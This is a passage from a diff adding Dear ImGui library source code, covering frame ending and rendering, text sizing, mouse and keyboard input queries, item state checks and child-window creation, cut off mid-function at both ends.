clip_rect_min, const ImVec2& clip_rect_max, bool intersect_with_current_clip_rect) +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DrawList->PushClipRect(clip_rect_min, clip_rect_max, intersect_with_current_clip_rect); + window->ClipRect = window->DrawList->_ClipRectStack.back(); +} + +void ImGui::PopClipRect() +{ + ImGuiWindow* window = GetCurrentWindow(); + window->DrawList->PopClipRect(); + window->ClipRect = window->DrawList->_ClipRectStack.back(); +} + +// This is normally called by Render(). You may want to call it directly if you want to avoid calling Render() but the gain will be very minimal. +void ImGui::EndFrame() +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.Initialized); + + // Don't process EndFrame() multiple times. + if (g.FrameCountEnded == g.FrameCount) + return; + IM_ASSERT(g.WithinFrameScope && "Forgot to call ImGui::NewFrame()?"); + + CallContextHooks(&g, ImGuiContextHookType_EndFramePre); + + ErrorCheckEndFrameSanityChecks(); + + // Notify OS when our Input Method Editor cursor has moved (e.g. CJK inputs using Microsoft IME) + if (g.IO.ImeSetInputScreenPosFn && (g.PlatformImeLastPos.x == FLT_MAX || ImLengthSqr(g.PlatformImeLastPos - g.PlatformImePos) > 0.0001f)) + { + g.IO.ImeSetInputScreenPosFn((int)g.PlatformImePos.x, (int)g.PlatformImePos.y); + g.PlatformImeLastPos = g.PlatformImePos; + } + + // Hide implicit/fallback "Debug" window if it hasn't been used + g.WithinFrameScopeWithImplicitWindow = false; + if (g.CurrentWindow && !g.CurrentWindow->WriteAccessed) + g.CurrentWindow->Active = false; + End(); + + // Update navigation: CTRL+Tab, wrap-around requests + NavEndFrame(); + + // Drag and Drop: Elapse payload (if delivered, or if source stops being submitted) + if (g.DragDropActive) + { + bool is_delivered = g.DragDropPayload.Delivery; + bool is_elapsed = (g.DragDropPayload.DataFrameCount + 1 < g.FrameCount) && ((g.DragDropSourceFlags & ImGuiDragDropFlags_SourceAutoExpirePayload) || !IsMouseDown(g.DragDropMouseButton)); + if (is_delivered || is_elapsed) + ClearDragDrop(); + } + + // Drag and Drop: Fallback for source tooltip. This is not ideal but better than nothing. + if (g.DragDropActive && g.DragDropSourceFrameCount < g.FrameCount && !(g.DragDropSourceFlags & ImGuiDragDropFlags_SourceNoPreviewTooltip)) + { + g.DragDropWithinSource = true; + SetTooltip("..."); + g.DragDropWithinSource = false; + } + + // End frame + g.WithinFrameScope = false; + g.FrameCountEnded = g.FrameCount; + + // Initiate moving window + handle left-click and right-click focus + UpdateMouseMovingWindowEndFrame(); + + // Sort the window list so that all child windows are after their parent + // We cannot do that on FocusWindow() because children may not exist yet + g.WindowsTempSortBuffer.resize(0); + g.WindowsTempSortBuffer.reserve(g.Windows.Size); + for (int i = 0; i != g.Windows.Size; i++) + { + ImGuiWindow* window = g.Windows[i]; + if (window->Active && (window->Flags & ImGuiWindowFlags_ChildWindow)) // if a child is active its parent will add it + continue; + AddWindowToSortBuffer(&g.WindowsTempSortBuffer, window); + } + + // This usually assert if there is a mismatch between the ImGuiWindowFlags_ChildWindow / ParentWindow values and DC.ChildWindows[] in parents, aka we've done something wrong. + IM_ASSERT(g.Windows.Size == g.WindowsTempSortBuffer.Size); + g.Windows.swap(g.WindowsTempSortBuffer); + g.IO.MetricsActiveWindows = g.WindowsActiveCount; + + // Unlock font atlas + g.IO.Fonts->Locked = false; + + // Clear Input data for next frame + g.IO.MouseWheel = g.IO.MouseWheelH = 0.0f; + g.IO.InputQueueCharacters.resize(0); + memset(g.IO.NavInputs, 0, sizeof(g.IO.NavInputs)); + + CallContextHooks(&g, ImGuiContextHookType_EndFramePost); +} + +void ImGui::Render() +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(g.Initialized); + + if (g.FrameCountEnded != g.FrameCount) + EndFrame(); + g.FrameCountRendered = g.FrameCount; + g.IO.MetricsRenderWindows = 0; + g.DrawDataBuilder.Clear(); + + CallContextHooks(&g, ImGuiContextHookType_RenderPre); + + // Add background ImDrawList + if (!g.BackgroundDrawList.VtxBuffer.empty()) + AddDrawListToDrawData(&g.DrawDataBuilder.Layers[0], &g.BackgroundDrawList); + + // Add ImDrawList to render + ImGuiWindow* windows_to_render_top_most[2]; + windows_to_render_top_most[0] = (g.NavWindowingTarget && !(g.NavWindowingTarget->Flags & ImGuiWindowFlags_NoBringToFrontOnFocus)) ? g.NavWindowingTarget->RootWindow : NULL; + windows_to_render_top_most[1] = (g.NavWindowingTarget ? g.NavWindowingListWindow : NULL); + for (int n = 0; n != g.Windows.Size; n++) + { + ImGuiWindow* window = g.Windows[n]; + if (IsWindowActiveAndVisible(window) && (window->Flags & ImGuiWindowFlags_ChildWindow) == 0 && window != windows_to_render_top_most[0] && window != windows_to_render_top_most[1]) + AddRootWindowToDrawData(window); + } + for (int n = 0; n < IM_ARRAYSIZE(windows_to_render_top_most); n++) + if (windows_to_render_top_most[n] && IsWindowActiveAndVisible(windows_to_render_top_most[n])) // NavWindowingTarget is always temporarily displayed as the top-most window + AddRootWindowToDrawData(windows_to_render_top_most[n]); + g.DrawDataBuilder.FlattenIntoSingleLayer(); + + // Draw software mouse cursor if requested + if (g.IO.MouseDrawCursor) + RenderMouseCursor(&g.ForegroundDrawList, g.IO.MousePos, g.Style.MouseCursorScale, g.MouseCursor, IM_COL32_WHITE, IM_COL32_BLACK, IM_COL32(0, 0, 0, 48)); + + // Add foreground ImDrawList + if (!g.ForegroundDrawList.VtxBuffer.empty()) + AddDrawListToDrawData(&g.DrawDataBuilder.Layers[0], &g.ForegroundDrawList); + + // Setup ImDrawData structure for end-user + SetupDrawData(&g.DrawDataBuilder.Layers[0], &g.DrawData); + g.IO.MetricsRenderVertices = g.DrawData.TotalVtxCount; + g.IO.MetricsRenderIndices = g.DrawData.TotalIdxCount; + + CallContextHooks(&g, ImGuiContextHookType_RenderPost); +} + +// Calculate text size. Text can be multi-line. Optionally ignore text after a ## marker. +// CalcTextSize("") should return ImVec2(0.0f, g.FontSize) +ImVec2 ImGui::CalcTextSize(const char* text, const char* text_end, bool hide_text_after_double_hash, float wrap_width) +{ + ImGuiContext& g = *GImGui; + + const char* text_display_end; + if (hide_text_after_double_hash) + text_display_end = FindRenderedTextEnd(text, text_end); // Hide anything after a '##' string + else + text_display_end = text_end; + + ImFont* font = g.Font; + const float font_size = g.FontSize; + if (text == text_display_end) + return ImVec2(0.0f, font_size); + ImVec2 text_size = font->CalcTextSizeA(font_size, FLT_MAX, wrap_width, text, text_display_end, NULL); + + // Round + text_size.x = IM_FLOOR(text_size.x + 0.95f); + + return text_size; +} + +// Find window given position, search front-to-back +// FIXME: Note that we have an inconsequential lag here: OuterRectClipped is updated in Begin(), so windows moved programmatically +// with SetWindowPos() and not SetNextWindowPos() will have that rectangle lagging by a frame at the time FindHoveredWindow() is +// called, aka before the next Begin(). Moving window isn't affected. +static void FindHoveredWindow() +{ + ImGuiContext& g = *GImGui; + + ImGuiWindow* hovered_window = NULL; + ImGuiWindow* hovered_window_ignoring_moving_window = NULL; + if (g.MovingWindow && !(g.MovingWindow->Flags & ImGuiWindowFlags_NoMouseInputs)) + hovered_window = g.MovingWindow; + + ImVec2 padding_regular = g.Style.TouchExtraPadding; + ImVec2 padding_for_resize_from_edges = g.IO.ConfigWindowsResizeFromEdges ? ImMax(g.Style.TouchExtraPadding, ImVec2(WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS, WINDOWS_RESIZE_FROM_EDGES_HALF_THICKNESS)) : padding_regular; + for (int i = g.Windows.Size - 1; i >= 0; i--) + { + ImGuiWindow* window = g.Windows[i]; + if (!window->Active || window->Hidden) + continue; + if (window->Flags & ImGuiWindowFlags_NoMouseInputs) + continue; + + // Using the clipped AABB, a child window will typically be clipped by its parent (not always) + ImRect bb(window->OuterRectClipped); + if (window->Flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_AlwaysAutoResize)) + bb.Expand(padding_regular); + else + bb.Expand(padding_for_resize_from_edges); + if (!bb.Contains(g.IO.MousePos)) + continue; + + // Support for one rectangular hole in any given window + // FIXME: Consider generalizing hit-testing override (with more generic data, callback, etc.) (#1512) + if (window->HitTestHoleSize.x != 0) + { + ImVec2 hole_pos(window->Pos.x + (float)window->HitTestHoleOffset.x, window->Pos.y + (float)window->HitTestHoleOffset.y); + ImVec2 hole_size((float)window->HitTestHoleSize.x, (float)window->HitTestHoleSize.y); + if (ImRect(hole_pos, hole_pos + hole_size).Contains(g.IO.MousePos)) + continue; + } + + if (hovered_window == NULL) + hovered_window = window; + if (hovered_window_ignoring_moving_window == NULL && (!g.MovingWindow || window->RootWindow != g.MovingWindow->RootWindow)) + hovered_window_ignoring_moving_window = window; + if (hovered_window && hovered_window_ignoring_moving_window) + break; + } + + g.HoveredWindow = hovered_window; + g.HoveredRootWindow = g.HoveredWindow ? g.HoveredWindow->RootWindow : NULL; + g.HoveredWindowUnderMovingWindow = hovered_window_ignoring_moving_window; +} + +// Test if mouse cursor is hovering given rectangle +// NB- Rectangle is clipped by our current clip setting +// NB- Expand the rectangle to be generous on imprecise inputs systems (g.Style.TouchExtraPadding) +bool ImGui::IsMouseHoveringRect(const ImVec2& r_min, const ImVec2& r_max, bool clip) +{ + ImGuiContext& g = *GImGui; + + // Clip + ImRect rect_clipped(r_min, r_max); + if (clip) + rect_clipped.ClipWith(g.CurrentWindow->ClipRect); + + // Expand for touch input + const ImRect rect_for_touch(rect_clipped.Min - g.Style.TouchExtraPadding, rect_clipped.Max + g.Style.TouchExtraPadding); + if (!rect_for_touch.Contains(g.IO.MousePos)) + return false; + return true; +} + +int ImGui::GetKeyIndex(ImGuiKey imgui_key) +{ + IM_ASSERT(imgui_key >= 0 && imgui_key < ImGuiKey_COUNT); + ImGuiContext& g = *GImGui; + return g.IO.KeyMap[imgui_key]; +} + +// Note that dear imgui doesn't know the semantic of each entry of io.KeysDown[]! +// Use your own indices/enums according to how your backend/engine stored them into io.KeysDown[]! +bool ImGui::IsKeyDown(int user_key_index) +{ + if (user_key_index < 0) + return false; + ImGuiContext& g = *GImGui; + IM_ASSERT(user_key_index >= 0 && user_key_index < IM_ARRAYSIZE(g.IO.KeysDown)); + return g.IO.KeysDown[user_key_index]; +} + +// t0 = previous time (e.g.: g.Time - g.IO.DeltaTime) +// t1 = current time (e.g.: g.Time) +// An event is triggered at: +// t = 0.0f t = repeat_delay, t = repeat_delay + repeat_rate*N +int ImGui::CalcTypematicRepeatAmount(float t0, float t1, float repeat_delay, float repeat_rate) +{ + if (t1 == 0.0f) + return 1; + if (t0 >= t1) + return 0; + if (repeat_rate <= 0.0f) + return (t0 < repeat_delay) && (t1 >= repeat_delay); + const int count_t0 = (t0 < repeat_delay) ? -1 : (int)((t0 - repeat_delay) / repeat_rate); + const int count_t1 = (t1 < repeat_delay) ? -1 : (int)((t1 - repeat_delay) / repeat_rate); + const int count = count_t1 - count_t0; + return count; +} + +int ImGui::GetKeyPressedAmount(int key_index, float repeat_delay, float repeat_rate) +{ + ImGuiContext& g = *GImGui; + if (key_index < 0) + return 0; + IM_ASSERT(key_index >= 0 && key_index < IM_ARRAYSIZE(g.IO.KeysDown)); + const float t = g.IO.KeysDownDuration[key_index]; + return CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, repeat_delay, repeat_rate); +} + +bool ImGui::IsKeyPressed(int user_key_index, bool repeat) +{ + ImGuiContext& g = *GImGui; + if (user_key_index < 0) + return false; + IM_ASSERT(user_key_index >= 0 && user_key_index < IM_ARRAYSIZE(g.IO.KeysDown)); + const float t = g.IO.KeysDownDuration[user_key_index]; + if (t == 0.0f) + return true; + if (repeat && t > g.IO.KeyRepeatDelay) + return GetKeyPressedAmount(user_key_index, g.IO.KeyRepeatDelay, g.IO.KeyRepeatRate) > 0; + return false; +} + +bool ImGui::IsKeyReleased(int user_key_index) +{ + ImGuiContext& g = *GImGui; + if (user_key_index < 0) return false; + IM_ASSERT(user_key_index >= 0 && user_key_index < IM_ARRAYSIZE(g.IO.KeysDown)); + return g.IO.KeysDownDurationPrev[user_key_index] >= 0.0f && !g.IO.KeysDown[user_key_index]; +} + +bool ImGui::IsMouseDown(ImGuiMouseButton button) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + return g.IO.MouseDown[button]; +} + +bool ImGui::IsMouseClicked(ImGuiMouseButton button, bool repeat) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + const float t = g.IO.MouseDownDuration[button]; + if (t == 0.0f) + return true; + + if (repeat && t > g.IO.KeyRepeatDelay) + { + // FIXME: 2019/05/03: Our old repeat code was wrong here and led to doubling the repeat rate, which made it an ok rate for repeat on mouse hold. + int amount = CalcTypematicRepeatAmount(t - g.IO.DeltaTime, t, g.IO.KeyRepeatDelay, g.IO.KeyRepeatRate * 0.50f); + if (amount > 0) + return true; + } + return false; +} + +bool ImGui::IsMouseReleased(ImGuiMouseButton button) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + return g.IO.MouseReleased[button]; +} + +bool ImGui::IsMouseDoubleClicked(ImGuiMouseButton button) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + return g.IO.MouseDoubleClicked[button]; +} + +// Return if a mouse click/drag went past the given threshold. Valid to call during the MouseReleased frame. +// [Internal] This doesn't test if the button is pressed +bool ImGui::IsMouseDragPastThreshold(ImGuiMouseButton button, float lock_threshold) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + if (lock_threshold < 0.0f) + lock_threshold = g.IO.MouseDragThreshold; + return g.IO.MouseDragMaxDistanceSqr[button] >= lock_threshold * lock_threshold; +} + +bool ImGui::IsMouseDragging(ImGuiMouseButton button, float lock_threshold) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + if (!g.IO.MouseDown[button]) + return false; + return IsMouseDragPastThreshold(button, lock_threshold); +} + +ImVec2 ImGui::GetMousePos() +{ + ImGuiContext& g = *GImGui; + return g.IO.MousePos; +} + +// NB: prefer to call right after BeginPopup(). At the time Selectable/MenuItem is activated, the popup is already closed! +ImVec2 ImGui::GetMousePosOnOpeningCurrentPopup() +{ + ImGuiContext& g = *GImGui; + if (g.BeginPopupStack.Size > 0) + return g.OpenPopupStack[g.BeginPopupStack.Size - 1].OpenMousePos; + return g.IO.MousePos; +} + +// We typically use ImVec2(-FLT_MAX,-FLT_MAX) to denote an invalid mouse position. +bool ImGui::IsMousePosValid(const ImVec2* mouse_pos) +{ + // The assert is only to silence a false-positive in XCode Static Analysis. + // Because GImGui is not dereferenced in every code path, the static analyzer assume that it may be NULL (which it doesn't for other functions). + IM_ASSERT(GImGui != NULL); + const float MOUSE_INVALID = -256000.0f; + ImVec2 p = mouse_pos ? *mouse_pos : GImGui->IO.MousePos; + return p.x >= MOUSE_INVALID && p.y >= MOUSE_INVALID; +} + +bool ImGui::IsAnyMouseDown() +{ + ImGuiContext& g = *GImGui; + for (int n = 0; n < IM_ARRAYSIZE(g.IO.MouseDown); n++) + if (g.IO.MouseDown[n]) + return true; + return false; +} + +// Return the delta from the initial clicking position while the mouse button is clicked or was just released. +// This is locked and return 0.0f until the mouse moves past a distance threshold at least once. +// NB: This is only valid if IsMousePosValid(). backends in theory should always keep mouse position valid when dragging even outside the client window. +ImVec2 ImGui::GetMouseDragDelta(ImGuiMouseButton button, float lock_threshold) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + if (lock_threshold < 0.0f) + lock_threshold = g.IO.MouseDragThreshold; + if (g.IO.MouseDown[button] || g.IO.MouseReleased[button]) + if (g.IO.MouseDragMaxDistanceSqr[button] >= lock_threshold * lock_threshold) + if (IsMousePosValid(&g.IO.MousePos) && IsMousePosValid(&g.IO.MouseClickedPos[button])) + return g.IO.MousePos - g.IO.MouseClickedPos[button]; + return ImVec2(0.0f, 0.0f); +} + +void ImGui::ResetMouseDragDelta(ImGuiMouseButton button) +{ + ImGuiContext& g = *GImGui; + IM_ASSERT(button >= 0 && button < IM_ARRAYSIZE(g.IO.MouseDown)); + // NB: We don't need to reset g.IO.MouseDragMaxDistanceSqr + g.IO.MouseClickedPos[button] = g.IO.MousePos; +} + +ImGuiMouseCursor ImGui::GetMouseCursor() +{ + return GImGui->MouseCursor; +} + +void ImGui::SetMouseCursor(ImGuiMouseCursor cursor_type) +{ + GImGui->MouseCursor = cursor_type; +} + +void ImGui::CaptureKeyboardFromApp(bool capture) +{ + GImGui->WantCaptureKeyboardNextFrame = capture ? 1 : 0; +} + +void ImGui::CaptureMouseFromApp(bool capture) +{ + GImGui->WantCaptureMouseNextFrame = capture ? 1 : 0; +} + +bool ImGui::IsItemActive() +{ + ImGuiContext& g = *GImGui; + if (g.ActiveId) + { + ImGuiWindow* window = g.CurrentWindow; + return g.ActiveId == window->DC.LastItemId; + } + return false; +} + +bool ImGui::IsItemActivated() +{ + ImGuiContext& g = *GImGui; + if (g.ActiveId) + { + ImGuiWindow* window = g.CurrentWindow; + if (g.ActiveId == window->DC.LastItemId && g.ActiveIdPreviousFrame != window->DC.LastItemId) + return true; + } + return false; +} + +bool ImGui::IsItemDeactivated() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + if (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_HasDeactivated) + return (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_Deactivated) != 0; + return (g.ActiveIdPreviousFrame == window->DC.LastItemId && g.ActiveIdPreviousFrame != 0 && g.ActiveId != window->DC.LastItemId); +} + +bool ImGui::IsItemDeactivatedAfterEdit() +{ + ImGuiContext& g = *GImGui; + return IsItemDeactivated() && (g.ActiveIdPreviousFrameHasBeenEditedBefore || (g.ActiveId == 0 && g.ActiveIdHasBeenEditedBefore)); +} + +// == GetItemID() == GetFocusID() +bool ImGui::IsItemFocused() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + if (g.NavId != window->DC.LastItemId || g.NavId == 0) + return false; + return true; +} + +bool ImGui::IsItemClicked(ImGuiMouseButton mouse_button) +{ + return IsMouseClicked(mouse_button) && IsItemHovered(ImGuiHoveredFlags_None); +} + +bool ImGui::IsItemToggledOpen() +{ + ImGuiContext& g = *GImGui; + return (g.CurrentWindow->DC.LastItemStatusFlags & ImGuiItemStatusFlags_ToggledOpen) ? true : false; +} + +bool ImGui::IsItemToggledSelection() +{ + ImGuiContext& g = *GImGui; + return (g.CurrentWindow->DC.LastItemStatusFlags & ImGuiItemStatusFlags_ToggledSelection) ? true : false; +} + +bool ImGui::IsAnyItemHovered() +{ + ImGuiContext& g = *GImGui; + return g.HoveredId != 0 || g.HoveredIdPreviousFrame != 0; +} + +bool ImGui::IsAnyItemActive() +{ + ImGuiContext& g = *GImGui; + return g.ActiveId != 0; +} + +bool ImGui::IsAnyItemFocused() +{ + ImGuiContext& g = *GImGui; + return g.NavId != 0 && !g.NavDisableHighlight; +} + +bool ImGui::IsItemVisible() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->ClipRect.Overlaps(window->DC.LastItemRect); +} + +bool ImGui::IsItemEdited() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return (window->DC.LastItemStatusFlags & ImGuiItemStatusFlags_Edited) != 0; +} + +// Allow last item to be overlapped by a subsequent item. Both may be activated during the same frame before the later one takes priority. +// FIXME: Although this is exposed, its interaction and ideal idiom with using ImGuiButtonFlags_AllowItemOverlap flag are extremely confusing, need rework. +void ImGui::SetItemAllowOverlap() +{ + ImGuiContext& g = *GImGui; + ImGuiID id = g.CurrentWindow->DC.LastItemId; + if (g.HoveredId == id) + g.HoveredIdAllowOverlap = true; + if (g.ActiveId == id) + g.ActiveIdAllowOverlap = true; +} + +void ImGui::SetItemUsingMouseWheel() +{ + ImGuiContext& g = *GImGui; + ImGuiID id = g.CurrentWindow->DC.LastItemId; + if (g.HoveredId == id) + g.HoveredIdUsingMouseWheel = true; + if (g.ActiveId == id) + g.ActiveIdUsingMouseWheel = true; +} + +ImVec2 ImGui::GetItemRectMin() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.LastItemRect.Min; +} + +ImVec2 ImGui::GetItemRectMax() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.LastItemRect.Max; +} + +ImVec2 ImGui::GetItemRectSize() +{ + ImGuiWindow* window = GetCurrentWindowRead(); + return window->DC.LastItemRect.GetSize(); +} + +static ImRect GetViewportRect() +{ + ImGuiContext& g = *GImGui; + return ImRect(0.0f, 0.0f, g.IO.DisplaySize.x, g.IO.DisplaySize.y); +} + +bool ImGui::BeginChildEx(const char* name, ImGuiID id, const ImVec2& size_arg, bool border, ImGuiWindowFlags flags) +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* parent_window = g.CurrentWindow; + + flags |= ImGuiWindowFlags_NoTitleBar | ImGuiWindowFlags_NoResize | ImGuiWindowFlags_NoSavedSettings | ImGuiWindowFlags_ChildWindow; + flags |= (parent_window->Flags & ImGuiWindowFlags_NoMove); // Inherit the NoMove flag + + // Size + const ImVec2 content_avail = GetContentRegionAvail(); + ImVec2 size = ImFloor(size_arg); + const int auto_fit_axises = ((size.x == 0.0f) ? (1 << ImGuiAxis_X) : 0x00) | ((size.y == 0.0f) ? (1 << ImGuiAxis_Y) : 0x00); + if (size.x <= 0.0f) + size.x = ImMax(content_avail.x + size.x, 4.0f); // Arbitrary minimum child size (0.0f causing too much issues) + if (size.y <= 0.0f) + size.y = ImMax(content_avail.y + size.y, 4.0f); + SetNextWindowSize(size); + + // Build up name. If you need to append to a same child from multiple location in the ID stack, use BeginChild(ImGuiID id) with a stable value. + char title[256]; + if (name) + ImFormatString(title, IM_ARRAYSIZE(title), "%s/%s_%08X", parent_window->Name, name, id); + else + ImFormatString(title, IM_ARRAYSIZE(title), "%s/%08X", parent_window->Name, id); + + const float backup_border_size = g.Style.ChildBorderSize; + if (!border) + g.Style.ChildBorderSize = 0.0f; + bool ret = Begin(title, NULL, flags); + g.Style.ChildBorderSize = backup_border_size; + + ImGuiWindow* child_window = g.CurrentWindow; + child_window->ChildId = id; + child_window->AutoFitChildAxises = (ImS8)auto_fit_axises; + + // Set the cursor to handle case where the user called SetNextWindowPos()+BeginChild() manually. + // While this is not really documented/defined, it seems that the expected thing to do. + if (child_window->BeginCount == 1) + parent_window->DC.CursorPos = child_window->Pos; + + // Process navigation-in immediately so NavInit can run on first frame + if (g.NavActivateId == id && !(flags & ImGuiWindowFlags_NavFlattened) && (child_window->DC.NavLayerActiveMask != 0 || child_window->DC.NavHasScroll)) + { + FocusWindow(child_window); + NavInitWindow(child_window, false); + SetActiveID(id + 1, child_window); // Steal ActiveId with another arbitrary id so that key-press won't activate child item + g.ActiveIdSource = ImGuiInputSource_Nav; + } + return ret; +} + +bool ImGui::BeginChild(const char* str_id, const ImVec2& size_arg, bool border, ImGuiWindowFlags extra_flags) +{ + ImGuiWindow* window = GetCurrentWindow(); + return BeginChildEx(str_id, window->GetID(str_id), size_arg, border, extra_flags); +} + +bool ImGui::BeginChild(ImGuiID id, const ImVec2& size_arg, bool border, ImGuiWindowFlags extra_flags) +{ + IM_ASSERT(id != 0); + return BeginChildEx(NULL, id, size_arg, border, extra_flags); +} + +void ImGui::EndChild() +{ + ImGuiContext& g = *GImGui; + ImGuiWindow* window = g.CurrentWindow; + + IM_ASSERT(g.WithinEndChild == false); + IM_ASSERT(window->Flags & ImGuiWindowFlags_ChildWindow); // Mismatched BeginChild()/EndChild() calls + + g.WithinEndChild = true; + if (window->BeginCount > 1) + { + End(); + } + else + { + ImVec2 sz = window->Size; + if (window->AutoFitChildAxises & (1 << ImGuiAxis_X)) // Arbitrary minimum zero-ish child size of 4.0f causes less trouble than a 0.0f + sz.x = ImMax(4.0f, sz.x); + if (window->AutoFitChildAxises & (1 << ImGuiAxis_Y)) + sz.y = ImMax(4.0f, sz.y); + End(); + + ImGuiWindow* parent_window = g.CurrentWindow; + ImRect bb(parent_window->DC.CursorPos, parent_window->DC.CursorPos + sz); + ItemSize(sz); + if ((window->DC.NavLayerActiveMask != 0 || window->DC.NavHasScroll) && !(window->Flags & ImGuiWindowFlags_NavFlattened)) + { + ItemAdd(bb, window->ChildId); + RenderNavHighlight(bb, window->ChildId); + + // When browsing a window that has no activable items (scroll only) we keep a highlight on the child + if (window->DC.NavLayerActiveMask == 0 && window == g.NavWindow) + RenderNavHighlight(ImRect(bb.Min - ImVec2(2, 2), bb.Max + ImVec2(2, 2)), g.NavId, ImGuiNavHighlightFlags_TypeThin); + } + else + { + // Not navigable into + ItemAdd(bb, 0); + } + } + g.WithinEndChild = false; +} + +// Helper to create a child window / scrolling region that looks like a normal widget frame. +bool ImGui::BeginChildFrame(ImGuiID id, const ImVec2& size, ImGuiWindowFlags extra_flags) +{ + ImGuiContext& g = *GImGui; + const ImGuiStyle& style = g.Style; + PushStyleColor(ImGuiCol_ChildBg, style.Colors[ImGuiCol_FrameBg]); + PushStyleVar(ImGuiStyleVar_ChildRounding, style.FrameRounding); + PushStyleVar(ImGuiStyleVar_ChildBorderSize, style.FrameBorderSize); + PushStyleVar(ImGuiStyleVar_WindowPadding, style.FramePadding); + bool ret = BeginChild(id, size, true, ImGuiWindowFlags_NoMove | ImGuiWindowFlags_AlwaysUseWindowPadding | extra_flags); + PopStyleVar(3); + PopStyleColor(); + return ret; +} + +void ImGui::EndChildFrame() +{ + EndChild(); +} + +static void SetWindowConditionAllowFlags(ImGuiWindow* window, ImGuiCond flags, bool enabled) +{ + window->SetWindowPosAllowFlags = enabled ? (window->SetWindowPosAllowFlags | flags) : (window->SetWindowPosAllowFlags & ~flags); + window->SetWindowSizeAllowFlags = enabled ? (window->SetWindowSizeAllowFlags | flags) : (window->SetWindowSizeAllowFlags & ~flags); + window->SetWindowCollapsedAllowFlags = enabled ? (window->SetWindowCollapsedAllowFlags | flags) : (window->SetWindowCollapsedAllowFlags & ~flags); +} + +ImGuiWindow* ImGui::FindWindowByID(ImGuiID id) +{ + ImGuiContext& g = *GImGui; + return (ImGuiWindow*)g.WindowsById.GetVoidPtr(id); +} + +ImGuiWindow* ImGui::FindWindowByName(const char* name) +{ + ImGuiID id = ImHashStr(name); + return FindWindowByID(id); +} + +static void ApplyWindowSettings(ImGuiWindow* window, ImGuiWindowSettings* settings) +{ + window->Pos = ImFloor(ImVec2(settings->Pos.x, settings->Pos.y)); + if (settings->Size.x > 0 && settings->Size.y > 0) + window->Size = window->SizeFull = ImFloor(ImVec2(settings->Size.x, settings->Size.y)); + window->Collapsed = settings->Collapsed; +} + +static ImGuiWindow* CreateNewWindow(const char* name, ImGuiWindowFlags flags) +{ + ImGuiContext& g = *GImGui; + //IMGUI_DEBUG_LOG("CreateNewWindow '%s', flags = 0x%08X\n", name, flags); + + // Create window the first time + ImGuiWindow* window = IM_NEW(ImGuiWindow)(&g, name); + window->Flags = flags; + g.WindowsById.SetVoidPtr(window->ID, window); + + // Default/arbitrary window position. Use SetNextWindowPos() with the appropriate condition flag to change the initial position of a window. + window->Pos = ImVec2(60, 60); + + // User can disable loading and saving of settings. Tooltip and child windows also don't store settings. + if (!(flags & ImGuiWindowFlags_NoSavedSettings)) + if (ImGuiWindowSettings* settings = ImGui::FindWindowSettings(window->ID)) + { + // Retrieve settings from .ini file + window->SettingsOffset = g.SettingsWindows.offset_from_ptr(settings); + SetWindowConditionAllowFlags(window, ImGuiCond_FirstUseEver, false); + ApplyWindowSettings(window, settings); + } + window->DC.CursorStartPos = window->DC.CursorMaxPos = window->Pos; // So first call to CalcContentSize() doesn't return crazy values + + if ((flags & ImGuiWindowFlags_AlwaysAutoResize) != 0) + { + window->AutoFitFramesX = window->AutoFitFramesY = 2; + window->AutoFitOnlyGrows = false; + } + else + { + if (window->Size.x <= 0.0f) + window->AutoFitFramesX = 2; + if (window->Size.y <= 0.0f) + window->AutoFitFramesY = 2; + window->AutoFitOnlyGrows = (window->AutoFitFramesX > 0) || (window->AutoFitFramesY > 0); + } + + g.WindowsFocusOrder.push_back(window); + if (flags & ImGuiWindowFlags_NoBringToFrontOnFocus) + g.Windows.push_front(window); // Quite slow but rare and only once + else + g.Windows.push_back(window); + return window; +} + +static ImVec2 CalcWindowSizeAfterConstraint(ImGuiWindow* window, ImVec2 new_size) +{ + ImGuiContext& g = *GImGui; + if (g.NextWindowData.Flags & ImGuiNextWindowDataFlags_HasSizeConstraint) + { + // Using -1,-1 on either X/Y axis to preserve the current size. + ImRect cr = g.NextWindowData.SizeConstraintRect; + new_size.x = (cr.Min.x >= 0 && cr.Max.x >= 0) ? ImClamp(new_size.x, cr.Min.x, cr.Max.x) : window->SizeFull.x; + new_size.y = (cr.Min.y >= 0 && cr.Max.y >= 0) ? ImClamp(new_size.y, cr.Min.y, cr.Max.y) : window->SizeFull.y; + if (g.NextWindowData.SizeCallback) + { + ImGuiSizeCallbackData data; + data.UserData = g.NextWindowData.SizeCallbackUserData; + data.Pos = window->Pos; + data.CurrentSize = window->SizeFull; + data.DesiredSize = new_size; + g.NextWindowData.SizeCallback(&data); + new_size = data.DesiredSize; + } + new_size.x = IM_FLOOR(new_size.x); + new_size.y = IM_FLOOR(new_size.y); + } + + // Minimum size + if (!(window->Flags & (ImGuiWindowFlags_ChildWindow | ImGuiWindowFlags_AlwaysAutoResize))) + { + ImGuiWindow* window_for_height = window; + new_size = ImMax(new_size, g.Style.WindowMinSize); + 